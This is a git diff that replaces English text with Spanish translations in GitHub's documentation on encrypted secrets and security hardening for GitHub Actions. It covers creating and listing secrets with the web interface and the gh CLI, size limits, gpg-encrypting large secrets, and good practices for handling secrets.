-You can use and read encrypted secrets in a workflow file if you have access to edit the file. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github)."
+Puedes usar y leer secretos cifrados en un archivo de flujo de trabajo si tienes acceso para editar el archivo. Para obtener más información, consulta "[Permisos de acceso en {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github)."
 
 {% warning %}
 
-**Warning:** {% data variables.product.prodname_dotcom %} automatically redacts secrets printed to the log, but you should avoid printing secrets to the log intentionally.
+**Advertencia:** {% data variables.product.prodname_dotcom %} redacta automáticamente secretos impresos en el registro, pero debes evitar imprimir secretos en el registro intencionalmente.
 
 {% endwarning %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-Organization and repository secrets are read when a workflow run is queued, and environment secrets are read when a job referencing the environment starts.
+Los secretos de organización y de repositorio se leen cuando una ejecución de flujo de trabajo está en cola y los secretos de ambiente se leen cuando un job que referencia el ambiente comienza.
 {% endif %}
 
-You can also manage secrets using the REST API. For more information, see "[Secrets](/rest/reference/actions#secrets)."
+También puedes administrar secretos utilizando la API de REST. Para obtener más información, consulta la sección "[Secretos](/rest/reference/actions#secrets)".
 
-### Limiting credential permissions
+### Limitar permisos de credenciales
 
-When generating credentials, we recommend that you grant the minimum permissions possible. For example, instead of using personal credentials, use [deploy keys](/developers/overview/managing-deploy-keys#deploy-keys) or a service account. Consider granting read-only permissions if that's all that is needed, and limit access as much as possible. When generating a personal access token (PAT), select the fewest scopes necessary.
+Cuando generes credenciales, te recomendamos que otorgues los mínimos permisos posibles. Por ejemplo, en lugar de usar credenciales personales, usa [implementar claves](/developers/overview/managing-deploy-keys#deploy-keys) o una cuenta de servicio. Considera otorgar permisos de solo lectura si eso es todo lo que se necesita, y limita el acceso lo máximo posible. Cuando generes un token de acceso personal (PAT), selecciona el menor número de ámbitos necesarios.
 
 {% note %}
 
-**Note:** You can use the REST API to manage secrets. For more information, see "[{% data variables.product.prodname_actions %} secrets API](/rest/reference/actions#secrets)."
+**Nota:** Puedes utilizar la API de REST para administrar los secretos. Para obtener más información, consulta la sección "[ API de secretos de {% data variables.product.prodname_actions %}](/rest/reference/actions#secrets)".
 
 {% endnote %}
 
-## Creating encrypted secrets for a repository
+## Crear secretos cifrados para un repositorio
 
 {% data reusables.github-actions.permissions-statement-secrets-repository %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. Click **New repository secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the value for your secret.
-1. Click **Add secret**.
+1. Da clic en **Secreto de repositorio nuevo**.
+1. Teclea un nombre para tu secreto en el cuadro de entrada **Name**.
+1. Ingresa el valor de tu secreto.
+1. Haz clic en **Agregar secreto** (Agregar secreto).
 
-If your repository {% ifversion fpt or ghes > 3.0 or ghae or ghec %}has environment secrets or {% endif %}can access secrets from the parent organization, then those secrets are also listed on this page.
+Si tu repositorio {% ifversion fpt or ghes > 3.0 or ghae or ghec %}tiene secretos de ambiente o {% endif %}puede acceder a los secretos de la organización padre, entonces estos secretos también se listan en esta página.
 
 {% endwebui %}
 
@@ -99,52 +97,50 @@ If your repository {% ifversion fpt or ghes > 3.0 or ghae or ghec %}has environm
 
 {% data reusables.cli.cli-learn-more %}
 
-To add a repository secret, use the `gh secret set` subcommand. Replace `secret-name` with the name of your secret.
+Para agregar un secreto de repositorio, utiliza el subcomando `gh secret set`. Reemplaza a `secret-name` con el nombre de tu secreto.
 
 ```shell
 gh secret set <em>secret-name</em>
 ```
 
-The CLI will prompt you to enter a secret value. Alternatively, you can read the value of the secret from a file.
+El CLI te pedirá ingresar un valor secreto. Como alternativa, puedes leer el valor del secreto desde un archivo.
 
 ```shell
 gh secret set <em>secret-name</em> < secret.txt
 ```
 
-To list all secrets for the repository, use the `gh secret list` subcommand.
+Para listar todos los secretos del repositorio, utiliza el subcomando `gh secret list`.
 
 {% endcli %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 
-## Creating encrypted secrets for an environment
+## Crear secretos cifrados para un ambiente
 
 {% data reusables.github-actions.permissions-statement-secrets-environment %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.github-actions.sidebar-environment %}
-1. Click on the environment that you want to add a secret to.
-2. Under **Environment secrets**, click **Add secret**.
-3. Type a name for your secret in the **Name** input box.
-4. Enter the value for your secret.
-5. Click **Add secret**.
+1. Da clic en el ambiente al cual quieras agregar un secreto.
+2. Debajo de **Secretos de ambiente**, da clic en **Agregar secreto**.
+3. Teclea un nombre para tu secreto en el cuadro de entrada **Name**.
+4. Ingresa el valor de tu secreto.
+5. Haz clic en **Agregar secreto** (Agregar secreto).
 
 {% endwebui %}
 
 {% cli %}
 
-To add a secret for an environment, use the `gh secret set` subcommand with the `--env` or `-e` flag followed by the environment name.
+Para agregar un secreto para un ambiente, utiliza el subcomando `gh secret set` con el marcador `--env` o `-e` seguido del nombre del ambiente.
 
 ```shell
 gh secret set --env <em>environment-name</em> <em>secret-name</em>
 ```
 
-To list all secrets for an environment, use the `gh secret list` subcommand with the `--env` or `-e` flag followed by the environment name.
+Para listar todos los secretos de un ambiente, utiliza el subcomando `gh secret list` con el marcador `--env` o `-e` seguido del nombre de ambiente.
 
 ```shell
 gh secret list --env <em>environment-name</em>
@@ -154,24 +150,22 @@ gh secret list --env <em>environment-name</em>
 
 {% endif %}
 
-## Creating encrypted secrets for an organization
+## Crear secretos cifrados para una organización
 
-When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
+Cuando creas un secreto en una organización, puedes utilizar una política para limitar el acceso de los repositorios a este. Por ejemplo, puedes otorgar acceso a todos los repositorios, o limitarlo a solo los repositorios privados o a una lista específica de estos.
 
 {% data reusables.github-actions.permissions-statement-secrets-organization %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. Click **New organization secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the **Value** for your secret.
-1. From the **Repository access** dropdown list, choose an access policy.
-1. Click **Add secret**.
+1. Da clic en **Secreto de organización nuevo**.
+1. Teclea un nombre para tu secreto en el cuadro de entrada **Name**.
+1. Ingresa el **Valor** para tu secreto.
+1. Desde la lista desplegable **Acceso de los repositorios**, elige una política de acceso.
+1. Haz clic en **Agregar secreto** (Agregar secreto).
 
 {% endwebui %}
 
@@ -179,7 +173,7 @@ When creating a secret in an organization, you can use a policy to limit which r
 
 {% note %}
 
-**Note:** By default, {% data variables.product.prodname_cli %} authenticates with the `repo` and `read:org` scopes. To manage organization secrets, you must additionally authorize the `admin:org` scope.
+**Nota:** Predeterminadamente, el {% data variables.product.prodname_cli %} se autentica con los alcances `repo` y `read:org`. Para administrar los secretos de la organización, debes autorizar el alcance `admin:org` adicionalmente.
 
 ```
 gh auth login --scopes "admin:org"
@@ -187,25 +181,25 @@ gh auth login --scopes "admin:org"
 
 {% endnote %}
 
-To add a secret for an organization, use the `gh secret set` subcommand with the `--org` or `-o` flag followed by the organization name.
+Para agregar un secreto para una organización, utiliza el subcomando `gh secret set` con el marcador `--org` o `-o` seguido del nombre de la organización.
 
 ```shell
 gh secret set --org <em>organization-name</em> <em>secret-name</em>
 ```
 
-By default, the secret is only available to private repositories. To specify that the secret should be available to all repositories within the organization, use the `--visibility` or `-v` flag.
+Predeterminadamente, el secreto solo se encuentra disponible para los repositorios privados. Para especificar que el secreto debe estar disponible para todos los repositorios dentro de la organización, utiliza el marcador `--visibility` o `-v`.
 
 ```shell
 gh secret set --org <em>organization-name</em> <em>secret-name</em> --visibility all
 ```
 
-To specify that the secret should be available to selected repositories within the organization, use the `--repos` or `-r` flag.
+Para especificar que el secreto debe estar disponible para los repositorios seleccionados dentro de la organización, utiliza el marcador `--repos` o `-r`.
 
 ```shell
 gh secret set --org <em>organization-name</em> <em>secret-name</em> --repos <em>repo-name-1</em>,<em>repo-name-2</em>"
 ```
 
-To list all secrets for an organization, use the `gh secret list` subcommand with the `--org` or `-o` flag followed by the organization name.
+Para listar todos los secretos para una organización, utiliza el subcomando `gh secret list` con el marcador `--org` o `-o` seguido del nombre de la organización.
 
 ```shell
 gh secret list --org <em>organization-name</em>
@@ -213,26 +207,25 @@ gh secret list --org <em>organization-name</em>
 
 {% endcli %}
 
-## Reviewing access to organization-level secrets
+## Revisar el acceso a los secretos de nivel organizacional
 
-You can check which access policies are being applied to a secret in your organization.
+Puedes revisar qué políticas de acceso se están aplicando a un secreto en tu organización.
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. The list of secrets includes any configured permissions and policies. For example:
-![Secrets list](/assets/images/help/settings/actions-org-secrets-list.png)
-1. For more details on the configured permissions for each secret, click **Update**.
+1. La lista de secretos incluye cualquier política y permiso configurado. Por ejemplo: ![Lista de secretos](/assets/images/help/settings/actions-org-secrets-list.png)
+1. Para encontrar más detalles sobre los permisos configurados para cada secreto, da clic en **Actualizar**.
 
-## Using encrypted secrets in a workflow
+## Usar secretos cifrados en un flujo de trabajo
 
 {% note %}
 
-**Note:** {% data reusables.actions.forked-secrets %}
+**Nota:**{% data reusables.actions.forked-secrets %}
 
 {% endnote %}
 
-To provide an action with a secret as an input or environment variable, you can use the `secrets` context to access secrets you've created in your repository. For more information, see "[Contexts](/actions/learn-github-actions/contexts)" and "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
+Para proporcionar una acción con un secreto como una variable de entrada o de entorno, puedes usar el contexto de `secretos` para acceder a los secretos que has creado en tu repositorio. Para obtener más información, consulta las secciones de "[Contextos](/actions/learn-github-actions/contexts)" y "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)".
 
 {% raw %}
 ```yaml
@@ -245,11 +238,11 @@ steps:
 ```
 {% endraw %}
 
-Avoid passing secrets between processes from the command line, whenever possible. Command-line processes may be visible to other users (using the `ps` command) or captured by [security audit events](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing). To help protect secrets, consider using environment variables, `STDIN`, or other mechanisms supported by the target process.
+Evita pasar secretos entre procesos desde la línea de comando, siempre que sea posible. Los procesos de la línea de comando pueden ser visibles para otros usuarios (utilizando el comando `ps`) o ser capturados por [eventos de auditoría de seguridad](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing). Para ayudar a proteger los secretos, considera usar variables de entorno, `STDIN` u otros mecanismos admitidos por el proceso de destino.
 
-If you must pass secrets within a command line, then enclose them within the proper quoting rules. Secrets often contain special characters that may unintentionally affect your shell. To escape these special characters, use quoting with your environment variables. For example:
+Si debes pasar secretos dentro de una línea de comando, enciérralos usando las normas de uso de comillas adecuadas. Los secretos suelen contener caracteres especiales que pueden afectar involuntariamente a tu shell. Para evitar estos caracteres especiales, usa comillas en tus variables de entorno. Por ejemplo:
 
-### Example using Bash
+### Ejemplo usando Bash
 
 {% raw %}
 ```yaml
@@ -262,7 +255,7 @@ steps:
 ```
 {% endraw %}
 
-### Example using PowerShell
+### Ejemplo usando PowerShell
 
 {% raw %}
 ```yaml
@@ -275,7 +268,7 @@ steps:
 ```
 {% endraw %}
 
-### Example using Cmd.exe
+### Ejemplo usando Cmd.exe
 
 {% raw %}
 ```yaml
@@ -288,37 +281,37 @@ steps:
 ```
 {% endraw %}
 
-## Limits for secrets
+## Límites para los secretos
 
-You can store up to 1,000 organization secrets{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, 100 repository secrets, and 100 environment secrets{% else %} and 100 repository secrets{% endif %}.
+Puedes almacenar hasta 1000 secretos de organización{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, 100 secretos de repositoirio y 100 secretos de ambiente{% else %} y 100 secretos de repositorio{% endif %}.
 
-A workflow created in a repository can access the following number of secrets:
+Un flujo de trabajo que se haya creado en un repositorio puede acceder a la siguiente cantidad de secretos:
 
-* All 100 repository secrets.
-* If the repository is assigned access to more than 100 organization secrets, the workflow can only use the first 100 organization secrets (sorted alphabetically by secret name).
-{% ifversion fpt or ghes > 3.0 or ghae or ghec %}* All 100 environment secrets.{% endif %}
+* Todos los 100 secretos de repositorio.
+* Si se asigna acceso a más de 100 secretos de la organización para este repositorio, el flujo de trabajo solo puede utilizar los primeros 100 secretos de organización (que se almacenan por orden alfabético por nombre de secreto).
+{% ifversion fpt or ghes > 3.0 or ghae or ghec %}* Todos los 100 secretos de ambiente.{% endif %}
 
-Secrets are limited to 64 KB in size. To use secrets that are larger than 64 KB, you can store encrypted secrets in your repository and save the decryption passphrase as a secret on {% data variables.product.prodname_dotcom %}. For example, you can use `gpg` to encrypt your credentials locally before checking the file in to your repository on {% data variables.product.prodname_dotcom %}. For more information, see the "[gpg manpage](https://www.gnupg.org/gph/de/manual/r1023.html)."
+Los secretos tienen un tamaño máximo de 64 KB. Para usar secretos de un tamaño mayor a 64 KB, puedes almacenar los secretos cifrados en tu repositorio y guardar la contraseña de descifrado como un secreto en {% data variables.product.prodname_dotcom %}. Por ejemplo, puedes usar `gpg` para cifrar tus credenciales de manera local antes de verificar el archivo en tu repositorio en {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la página del manual "[gpg](https://www.gnupg.org/gph/de/manual/r1023.html)".
 
 {% warning %}
 
-**Warning**: Be careful that your secrets do not get printed when your action runs. When using this workaround, {% data variables.product.prodname_dotcom %} does not redact secrets that are printed in logs.
+**Advertencia**: Evita que tus secretos se impriman cuando se ejecute tu acción. Cuando usas esta solución, {% data variables.product.prodname_dotcom %} no redacta los secretos que están impresos en los registros.
 
 {% endwarning %}
 
-1. Run the following command from your terminal to encrypt the `my_secret.json` file using `gpg` and the AES256 cipher algorithm.
+1. Ejecuta el siguiente comando en tu terminal para cifrar el archivo `my_secret.json` usando `gpg` y el algoritmo de cifras AES256.
 
  ``` shell
  $ gpg --symmetric --cipher-algo AES256 my_secret.json
  ```
 
-1. You will be prompted to enter a passphrase. Remember the passphrase, because you'll need to create a new secret on {% data variables.product.prodname_dotcom %} that uses the passphrase as the value.
+1. Se te pedirá que ingreses una contraseña. Recuerda la contraseña, porque deberás crear un nuevo secreto en {% data variables.product.prodname_dotcom %} que use esa contraseña como valor.
 
-1. Create a new secret that contains the passphrase. For example, create a new secret with the name `LARGE_SECRET_PASSPHRASE` and set the value of the secret to the passphrase you selected in the step above.
+1. Crear un nuevo secreto que contiene la frase de acceso. Por ejemplo, crea un nuevo secreto con el nombre `LARGE_SECRET_PASSPHRASE` y establece el valor del secreto para la contraseña que seleccionaste en el paso anterior.
 
-1. Copy your encrypted file into your repository and commit it. In this example, the encrypted file is `my_secret.json.gpg`.
+1. Copia tu archivo cifrado en tu repositorio y confírmalo. En este ejemplo, el archivo cifrado es `my_secret.json.gpg`.
 
-1. Create a shell script to decrypt the password. Save this file as `decrypt_secret.sh`.
+1. Crea un script shell para descifrar la contraseña. Guarda este archivo como `decrypt_secret.sh`.
 
   ``` shell
   #!/bin/sh
@@ -331,7 +324,7 @@ Secrets are limited to 64 KB in size. To use secrets that are larger than 64 KB,
   --output $HOME/secrets/my_secret.json my_secret.json.gpg
   ```
 
-1. Ensure your shell script is executable before checking it in to your repository.
+1. Asegúrate de que tu shell script sea ejecutable antes de verificarlo en tu repositorio.
 
   ``` shell
   $ chmod +x decrypt_secret.sh
@@ -340,7 +333,7 @@ Secrets are limited to 64 KB in size. To use secrets that are larger than 64 KB,
   $ git push
   ```
 
-1. From your workflow, use a `step` to call the shell script and decrypt the secret. To have a copy of your repository in the environment that your workflow runs in, you'll need to use the [`actions/checkout`](https://github.com/actions/checkout) action. Reference your shell script using the `run` command relative to the root of your repository.
+1. En tu flujo de trabajo, usa un `step` para llamar al shell script y descifrar el secreto. Para tener una copia de tu repositorio en el entorno en el que se ejecuta tu flujo de trabajo, deberás usar la acción [`code>actions/checkout`](https://github.com/actions/checkout). Haz referencia a tu shell script usando el comando `run` relacionado con la raíz de tu repositorio.
 
 {% raw %}
   ```yaml
@@ -358,10 +351,10 @@ Secrets are limited to 64 KB in size. To use secrets that are larger than 64 KB,
           run: ./.github/scripts/decrypt_secret.sh
           env:
             LARGE_SECRET_PASSPHRASE: ${{ secrets.LARGE_SECRET_PASSPHRASE }}
-        # This command is just an example to show your secret being printed
-        # Ensure you remove any print statements of your secrets. GitHub does
-        # not hide secrets that use this workaround.
-        - name: Test printing your secret (Remove this step in production)
+        # Este comando es solo un ejemplo para mostrar cómo se imprime tu secreto.
+        # Asegúrate de eliminar las declaraciones impresas de tus secretos. GitHub 
+        # no oculta los secretos que usan esta solución.
+        - name: Test printing your secret (Elimina este paso en la producción)
           run: cat $HOME/secrets/my_secret.json
   ```
 {% endraw %}
diff --git a/translations/es-ES/content/actions/security-guides/index.md b/translations/es-ES/content/actions/security-guides/index.md
index d0beceb690..b672303d0a 100644
--- a/translations/es-ES/content/actions/security-guides/index.md
+++ b/translations/es-ES/content/actions/security-guides/index.md
@@ -1,7 +1,7 @@
 ---
-title: Security guides
-shortTitle: Security guides
-intro: 'Security hardening and good practices for {% data variables.product.prodname_actions %}.'
+title: Guías de seguridad
+shortTitle: Guías de seguridad
+intro: 'Fortalecimiento de seguridad y buenas prácticas para {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md b/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md
index 8b80be9c37..362b14eeac 100644
--- a/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md
+++ b/translations/es-ES/content/actions/security-guides/security-hardening-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Security hardening for GitHub Actions
-shortTitle: Security hardening
-intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.'
+title: Fortalecimiento de seguridad para GitHub Actions
+shortTitle: Fortalecimiento de seguridad
+intro: 'Buenas prácticas de seguridad para utilizar las características de las {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /actions/getting-started-with-github-actions/security-hardening-for-github-actions
   - /actions/learn-github-actions/security-hardening-for-github-actions
@@ -19,58 +19,58 @@ miniTocMaxHeadingLevel: 3
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Resumen
 
-This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see "[Core concepts for GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+Esta guía explica cómo configurar el fortalecimiento de seguridad para ciertas características de las {% data variables.product.prodname_actions %}. Si no estás familiarizado con los conceptos de las {% data variables.product.prodname_actions %}, consulta la sección "[Conceptos principales para GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)".
 
-## Using secrets
+## Utilizar secretos
 
-Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) can be configured at the organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repository, or environment{% else %} or repository{% endif %} level, and allow you to store sensitive information in {% data variables.product.product_name %}.
+Los valores sensibles jamás deben almacenarse como texto simple e archivos de flujo de trabajo, sino más bien como secretos. Los [Secretos](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) pueden configurarse a nivel de la organización{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repositorio o ambiente{% else %} o repositorio{% endif %}, y permitirte almacenar información sensible en {% data variables.product.product_name %}.
 
-Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.product_name %}. This occurs when the secret is submitted [using the UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) or through the [REST API](/rest/reference/actions#secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.product_name %}'s infrastructure. Once the secret is uploaded, {% data variables.product.product_name %} is then able to decrypt it so that it can be injected into the workflow runtime.
+Los secretos utilizan [Cajas selladas de libsodium](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) de manera que se cifran antes de llegar a {% data variables.product.product_name %}. Esto ocurre cuando el secreto se emite [utilizando la IU](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) o a través de la [API de REST](/rest/reference/actions#secrets). Este cifrado del lado del cliente ayuda a minimizar los riesgos relacionados con el registro accidental (por ejemplo, bitácoras de excepción y de solicitud, entre otras) dentro de la infraestructura de {% data variables.product.product_name %}. Una vez que se carga el secreto, {% data variables.product.product_name %} puede entonces descifrarlo para que se pueda inyectar en el tiempo de ejecución del flujo de trabajo.
 
-To help prevent accidental disclosure, {% data variables.product.product_name %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets:
+Para ayudar a prevenir la divulgación accidental, {% data variables.product.product_name %} utiliza un mecanismo que intenta redactar cualquier secreto que aparezca en las bitácoras de ejecución. La redacción busca coincidencias exactas de cualquier secreto configurado, así como los cifrados comunes de los valores, tales como Base64. Sin embargo, ya que hay varias formas en las que se puede transformar el valor de un secreto, esta redacción no está garantizada. Como resultado, hay ciertos pasos proactivos y buenas prácticas que debes seguir para ayudarte a garantizar que se redacten los secretos, y para limitar otros riesgos asociados con ellos:
 
-- **Never use structured data as a secret**
-    - Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value.
-- **Register all secrets used within workflows**
-    - If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output.
-    - Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too.
-- **Audit how secrets are handled**
-    - Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output.
-    - View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs.
-- **Use credentials that are minimally scoped**
-    - Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-    - Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." {% endif %}
-- **Audit and rotate registered secrets**
-    - Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed.
-    - Rotate secrets periodically to reduce the window of time during which a compromised secret is valid.
+- **Nunca uses datos estructurados como un secreto**
+    - Los datos estructurados pueden causar que la redacción de secretos dentro de las bitácoras falle, ya que la redacción depende ampliamente de encontrar una coincidencia exacta para el valor específico del secreto. Por ejemplo, no utilices un blob de JSON, XML, o YAML (o similares) para encapsular el valor de un secreto, ya que esto reduce significativamente la probablidad de que los secretos se redacten adecuadamente. En vez de esto, crea secretos individuales para cada valor sensible.
+- **Registra todos los secretos que se utilizan dentro de los flujos de trabajo**
+    - Si los secretos se utilizan para generar otro valor sensible dentro de un flujo de trabajo, este valor generado debe [registrarse como un secreto](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) formalmente para que se pueda redactar si llega a aparecer en las bitácoras. Por ejemplo, si utilizas una llave privada para generar un JWT firmado para acceder a una API web, asegúrate registrar este JWT como un secreto, de lo contrario, este no se redactará si es que llega a ingresar en la salida de la bitácora.
+    - El registrar secretos aplica también a cualquier tipo de transformación/cifrado. Si tu secreto se transforma de alguna manera (como en el cifrado URL o de Base64), asegúrate de registrar el valor nuevo como un secreto también.
+- **Audita cómo se manejan los secretos**
+    - Audita cómo se utilizan los secretos para ayudarte a garantizar que se manejan como lo esperas. Puedes hacer esto si revisas el código fuente del rpositorio que ejecuta el flujo de trabajo y verificas cualquier acción que se utilice en dicho flujo de trabajo. Por ejemplo, verifica que no se estén enviando a hosts no deseados, o que no se estén imprimiendo explícitamente en la salida de una bitácora.
+    - Visualiza las bitácoras de ejecución de tu flujo de trabajo después de probar las entradas válidas/no válidas y verifica que los secretos se redacten adecuadamente o que no se muestren. No siempre es obvio la forma en la que una herramienta o un comando que estés invocando enviará los errores a `STDOUT` o a `STDERR`, y los secretos pueden terminar siendo bitácoras de errores después. Por consiguiente, es una buena práctica el revisar manualmente las bitácoras de flujo de trabajo después de probar las entradas válidas y no válidas.
+- **Utiliza credenciales que tengan alcances mínimos**
+    - Asegúrate de que las credenciales que estás utilizando dentro de los flujos de trabajo tengan los menores privilegios requeridos y ten en mente que cualquier usuario con acceso de escritura en tu repositorio tiene acceso de lectura para todos los secretos que has configurado en éste. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+    - Las acciones pueden utilizar el `GITHUB_TOKEN` si acceden a él desde el contexto `github.token`. Para obtener más información, consulta "[Contextos](/actions/learn-github-actions/contexts#github-context)". Por lo tanto, debes asegurarte de que se otorguen los permisos mínimos requeridos al `GITHUB_TOKEN`. Configurar el permiso predeterminado el `GITHUB_TOKEN` como acceso de solo lectura para el contenido de los repositorios, es una buena práctica de seguridad. Se puede incrementar los permisos, conforme se requiera, para los jobs individuales dentro del archivo de flujo de trabajo. Para obtener más información, consulta la sección "[Autenticación en un flujo de trabajo](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)". {% endif %}
+- **Audita y rota los secretos registrados**
+    - Revisa con frecuencia los secretos que se han registrado para confirmar que aún se requieran. Elimina aquellos que ya no se necesiten.
+    - Rota los secretos con frecuencia para reducir la ventana de tiempo en la que un secreto puesto en riesgo es aún válido.
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-- **Consider requiring review for access to secrets**
-    - You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
+- **Considera requerir revisiones para el acceso a los secretos**
+    - Puedes utilizar revisiones requeridas para proteger los secretos del ambiente. Un job del flujo de trabajo no podrá acceder a los secretos del ambiente hasta que el revisor otorgue la aprobación. Para obtener más información sobre cómo almacenar los secretos en los ambientes o cómo requerir las revisiones para estos, consulta las secciones "[Secretos cifrados](/actions/reference/encrypted-secrets)" y "[Utilizar ambientes para despliegue](/actions/deployment/using-environments-for-deployment)".
 {% endif %}
 
-## Using `CODEOWNERS` to monitor changes
+## Utilizar `CODEOWNERS` para monitorear cambios
 
-You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer.
+Puedes utilizar la característica de `CODEOWNERS` para controlar la forma en la que se realizan los cambios en tus archivos de flujo de trabajo. Por ejemplo, si todos tus archivos de flujo de trabajo se almacenan en `.github/workflows`, puedes agregar este directorio a la lista de propietarios de código para que cualquier cambio propuesto a dichos archivos requiera primero de una aprobación del un revisor designado.
 
-For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
+Para obtener más información, consulta "[Acerca de los propietarios del código](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
 
-## Understanding the risk of script injections
+## Entender el riesgo de las inyecciones de código
 
-When creating workflows, [custom actions](/actions/creating-actions/about-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action) actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner.
+Cuando creas flujos de trabajo, [acciones personalizadas](/actions/creating-actions/about-actions) y [acciones compuestas](/actions/creating-actions/creating-a-composite-action), siempre debes considerar si tu código podría ejecutar una entrada no confiable de los atacantes. Esto puede ocurrir cuando un atacante agrega comandos y scripts malintencionados a un contexto. Cuando tu flujo de trabajo se ejecuta, estas secuencias podrían interpretarse como código que luego se ejecutará en el ejecutor.
 
